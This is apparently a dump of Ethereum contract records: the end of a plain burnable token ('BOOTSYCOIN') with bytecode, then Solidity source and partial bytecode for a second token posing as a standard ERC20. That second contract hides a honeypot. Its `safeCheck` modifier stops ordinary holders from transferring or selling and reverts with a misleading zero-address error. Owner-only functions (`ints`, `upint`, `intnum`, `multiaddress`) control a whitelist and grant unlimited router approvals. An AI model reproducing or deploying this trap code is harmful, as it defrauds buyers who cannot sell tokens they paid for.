_value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract BCC is BurnableToken { string public constant name = "BOOTSYCOIN"; string public constant symbol = "BCC"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600a81526020017f424f4f545359434f494e0000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a633b9aca000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f424343000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea264697066735822122022d1a1528536154146ed4aed8fca6b84edae0f3483a5afc95d8f4f106cb25a6b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
4,821
0x848ab80f65d27a2e19057ea6ac5f8e05f5464c05
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ //Evai function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} _;} function _transfer_new(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff0219169083